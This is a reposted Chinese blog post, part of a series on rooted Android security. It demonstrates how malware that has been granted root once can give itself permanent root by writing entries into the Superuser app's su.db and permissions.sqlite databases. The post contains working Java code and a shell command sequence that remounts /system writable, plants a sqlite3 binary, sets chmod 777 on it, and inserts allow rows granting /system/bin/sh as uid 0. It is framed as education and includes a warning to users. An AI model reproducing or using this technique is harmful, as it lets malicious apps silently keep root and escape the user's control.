zoukankan      html  css  js  c++  java
  • android手机root后的安全问题 (三)

    导读:本文介绍病毒如何篡改superuser,使得用户只是允许病毒请求的一次root权限变成允许病毒永久使用root权限。

     

    继续之前两篇文章写,如果路过的同学有疑问,请先看前两篇

    有同学说,你的Fake.apk需要把应用copy到system下才行,这是需要root权限的。如果用户允许了你一次root请求,你当着用户的面copy,那么copy之后,系统会发送广播,告知有新的apk被安装,杀毒软件就会发现你。

    是的,这确实是个问题,但是病毒就是病毒,总会想办法让你病倒的,别急。

     

    superuser把数据记录到数据库中,那病毒为什么不去修改你的数据库呢?如果修改成功,那么岂不是永久获得了root权限,以后再也用不着你来批准我了,我自己批准!

     

    很不幸,病毒如果获得了一次root权限,那么上面所说的事情是完全可以做到的。

    我们来演示一下,我手机中装有superuser,版本为3.0.7

    我还装了一个re管理器

    首先,我们打开re管理器,这时候re管理器请求使用root权限,superuser会弹出提示,询问用户是否允许

    我们点击允许之前,勾选“记住”,然后允许。

    这一步是为了获取:应用获得永久root权限时,应该在superuser数据库插入什么样的数据。

    然后我们将数据库导出

    /data/data/com.noshufou.android.su/databases下面有两个数据库我们需要关注

    su.db

    permissions.sqlite

    我们以permissions.sqlite为例,下图为表结构:

    然后来看看病毒应该如何修改数据

    病毒只需要关心几个字段

    uid,包名,应用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1

    病毒如何获得自己的包名和应用名,这个大家没什么疑问吧

    ActivityManager.RunningAppProcessInfo中含有uid的信息

    下面的代码可以获得当前应用的uid

    Java代码 复制代码 收藏代码
    1. public static int getUid(Context context,String packageName){   
    2.     ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);   
    3.     List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();   
    4.     int size = runningAppProcesses.size();   
    5.     ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null;   
    6.     for (int i = 0; i < size; i++) {   
    7.         runningAppProcessInfo = runningAppProcesses.get(i);   
    8.         if(packageName.equals(runningAppProcessInfo.processName)){   
    9.             return runningAppProcessInfo.uid;   
    10.         }   
    11.     }   
    12.     return -1;   
    13. }  

    好了,这个表已经搞定了,su.db和这个几乎一样,也就不再演示了。

    最后的问题是,如何修改手机中的数据库,显然,我们使用sqlite3,但是有的手机居然没有这个问题,所以病毒很可能自己捆绑了一个,然后复制到system/bin或者system/xbin中

    sqlite3从哪来?哪都有。。比如你可以从模拟器pull出来一份。

    好了,全部搞定了

    最终我们分两步

    1准备sqlite3这个文件,以防万一

    Java代码 复制代码 收藏代码
    1. prepareButton.setOnClickListener(new View.OnClickListener() {   
    2.     public void onClick(View v) {   
    3.         File dataFolder = getFilesDir();   
    4.     File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3");   
    5.     copyFile("db/sqlite3", sqlite, mResources);   
    6.     }   
    7. });  

    2申请root权限,一旦成功,那就修改数据库

    Java代码 复制代码 收藏代码
    1. String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" +   
    2.                             "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) ";   
    3. String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " +   
    4.                                                     "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") ";   
    5.   
    6. String[] commands = {"busybox mount -o remount,rw /system"  
    7.                             ,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3"  
    8.                     ,"busybox rm /data/data/" + packageName + "/files/sqlite3"  
    9.                     ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'"  
    10.                     ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "};  

    执行即可

    从此,病毒就脱离你的掌控了,一发不可收拾

    结语

    由于本博客只是用于演示,所以有些不严密的地方。

    比如:首次使用superuser之前,它的数据库的表可能还没有创建,所以有些sql操作可能会失败

    我也不打算写个完整的病毒,这样一些人就会想着干一些不干净的事情。仅供学习交流

    看来大家每次批准root之后,还要去superuser中的列表看看有没有什么异常才行

    请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

     

    android手机root后的安全问题 (一)

    android手机root后的安全问题 (二)

    android手机root后的安全问题 (三)

    android手机root后的安全问题 (四)

    android安全问题(一) 静音拍照与被拍

    android安全问题(二) 程序锁

    android安全问题(三) 钓鱼程序

     

     

    转贴 blog地址

    http://su1216.iteye.com/

    http://blog.csdn.net/su1216/

  • 相关阅读:
    三十二、恢复单库单表
    三十一、XBK备份
    三十、分库分表备份脚本
    二十九、mysqldump恢复案例
    二十八、mysqldump备份
    二十七、备份介绍
    二十六:慢日志分析
    二十五、二进制日志之GTID模式
    Trie树
    AC自动机
  • 原文地址:https://www.cnblogs.com/jackrex/p/3001412.html
Copyright © 2011-2022 走看看